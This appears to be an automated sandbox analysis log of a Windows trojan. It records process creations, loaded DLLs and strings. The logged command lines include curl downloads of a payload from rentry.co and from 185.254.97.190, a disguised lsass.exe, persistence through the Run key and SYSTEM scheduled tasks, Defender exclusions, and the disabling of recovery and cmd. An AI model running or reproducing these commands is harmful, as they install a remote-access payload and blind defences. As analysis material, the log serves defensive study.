        Source: powershell.exe, 00000023.00000002.2873253607.000002C7B426E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.mic
        Source: powershell.exe, 0000001E.00000002.2503147412.000002A9D3F49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micF1
        Source: powershell.exe, 00000023.00000002.2873253607.000002C7B426E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micft.cMicRosof
        Source: powershell.exe, 00000019.00000002.2362998078.0000021EAE89E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2490759240.000002A9CB86E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2647393715.000001FE7305E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
        Source: powershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
        Source: powershell.exe, 00000019.00000002.2338794163.0000021E9EA5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BBA29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE63219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: powershell.exe, 00000019.00000002.2338794163.0000021E9E831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BB801000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE62FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BC87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
        Source: powershell.exe, 00000019.00000002.2338794163.0000021E9EA5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BBA29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE63219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
        Source: powershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
        Source: powershell.exe, 00000019.00000002.2374337905.0000021EB6D5A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2670965885.000001FE7B692000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
        Source: powershell.exe, 00000022.00000002.2670965885.000001FE7B712000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
        Source: powershell.exe, 00000019.00000002.2338794163.0000021E9E831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BB801000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE62FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BC87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
        Source: powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
        Source: powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
        Source: powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
        Source: powershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
        Source: powershell.exe, 00000019.00000002.2362998078.0000021EAE89E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2490759240.000002A9CB86E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2647393715.000001FE7305E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
        Source: curl.exe, 00000007.00000002.2181282531.000001B169840000.00000004.00000020.00020000.00000000.sdmp, D3B2.bat.0.drString found in binary or memory: https://rentry.co/i7zgdqy6/raw/
        Source: curl.exe, 00000007.00000003.2181061378.000001B169857000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000003.2180548349.000001B169854000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000002.2181317822.000001B169857000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/i7zgdqy6/raw/5
        Source: curl.exe, 00000007.00000002.2181352575.000001B16987B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000003.2180410147.000001B16987A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/i7zgdqy6/raw/P
        Source: curl.exe, 00000007.00000002.2181282531.000001B169840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/i7zgdqy6/raw/Winsta0
        Source: curl.exe, 00000007.00000002.2181282531.000001B169840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/i7zgdqy6/raw/curl
        Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
        Source: unknownHTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.6:49713 version: TLS 1.2
        Source: C:\Windows\System32\cmd.exeFile created: C:\Windows\appcompat\sshJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeFile created: C:\Windows\Logs\ReAgentJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeFile created: C:\Windows\Logs\ReAgent\ReAgent.logJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_004110790_2_00411079
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00411C200_2_00411C20
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_004110330_2_00411033
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00410C800_2_00410C80
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00410CA00_2_00410CA0
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_0040B9C70_2_0040B9C7
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_0040FA680_2_0040FA68
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_0040CF180_2_0040CF18
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_0040EFF00_2_0040EFF0
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00410FB00_2_00410FB0
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD3477A0F525_2_00007FFD3477A0F5
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD3477945D25_2_00007FFD3477945D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD347785FA25_2_00007FFD347785FA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD347785D325_2_00007FFD347785D3
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD34775BFA25_2_00007FFD34775BFA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD3477604D25_2_00007FFD3477604D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD3479604D30_2_00007FFD3479604D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD34795CFA30_2_00007FFD34795CFA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD347984F230_2_00007FFD347984F2
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD3479A1FB30_2_00007FFD3479A1FB
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD34798E2530_2_00007FFD34798E25
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD347916F230_2_00007FFD347916F2
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD34795BFA30_2_00007FFD34795BFA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD3479945D34_2_00007FFD3479945D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD347985FA34_2_00007FFD347985FA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD3479260D34_2_00007FFD3479260D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD347985D334_2_00007FFD347985D3
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD34795BFA34_2_00007FFD34795BFA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD3479604D34_2_00007FFD3479604D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD347664FB35_2_00007FFD347664FB
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD347684D335_2_00007FFD347684D3
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD3476260835_2_00007FFD34762608
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD34768E2535_2_00007FFD34768E25
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD347616F235_2_00007FFD347616F2
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD347662F335_2_00007FFD347662F3
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD34765BFA35_2_00007FFD34765BFA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD3476BBFB35_2_00007FFD3476BBFB
        Source: nkYzjyrKYK.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
        Source: classification engineClassification label: mal100.troj.evad.winEXE@55/34@1/4
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00402664 LoadResource,SizeofResource,FreeResource,0_2_00402664
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3840:120:WilError_03
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeFile created: C:\Users\user\AppData\Local\Temp\D3B0.tmpJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe"
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: nkYzjyrKYK.exeReversingLabs: Detection: 55%
        Source: unknownProcess created: C:\Users\user\Desktop\nkYzjyrKYK.exe "C:\Users\user\Desktop\nkYzjyrKYK.exe"
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 8.8.8.8 -n 1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net session
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session
        Source: unknownProcess created: C:\Windows\System32\curl.exe curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\ReAgentc.exe reagentc.exe /disable
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h ssh
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -s -o C:\Users\user\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/XClient.exe"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\lsass.exe lsass.exe
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /tn "winlogon" /tr "lsass.exe" /sc ONSTART /ru SYSTEM /f
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net session
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
        Source: unknownProcess created: C:\Windows\System32\lsass.exe lsass.exe
        Source: unknownProcess created: C:\Windows\System32\lsass.exe lsass.exe
        Source: C:\Windows\System32\lsass.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'D:\'"
        Source: unknownProcess created: C:\Windows\System32\lsass.exe "C:\Windows\system32\lsass.exe"
        Source: unknownProcess created: C:\Windows\System32\lsass.exe "C:\Windows\system32\lsass.exe"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\icacls.exe icacls "C:\Windows\appcompat\ssh" /deny user:F
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat C:\Users\user\Desktop\nkYzjyrKYK.exe"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 8.8.8.8 -n 1Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net sessionJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\ReAgentc.exe reagentc.exe /disableJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h sshJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -s -o C:\Users\user\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/XClient.exe"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\lsass.exe lsass.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /fJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /FJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /tn "winlogon" /tr "lsass.exe" /sc ONSTART /ru SYSTEM /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net sessionJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'D:\'" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\lsass.exe lsass.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\icacls.exe icacls "C:\Windows\appcompat\ssh" /deny user:FJump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 sessionJump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 sessionJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeSection loaded: winmm.dllJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
        Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dllJump to behavior
        Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: dsrole.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: logoncli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: schannel.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: mskeyprotect.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: ntasn1.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: ncrypt.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeSection loaded: reagent.dllJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeSection loaded: cabinet.dllJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeSection loaded: wdscore.dllJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeSection loaded: dbghelp.dllJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeSection loaded: dbgcore.dllJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeSection loaded: fveapi.dllJump to behavior
        Source: C:\Windows\System32\ReAgentc.exeSection loaded: fveapi.dllJump to behavior
        Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dllJump to behavior
        Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: dsrole.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: logoncli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: cryptbase.dllJump to behavior
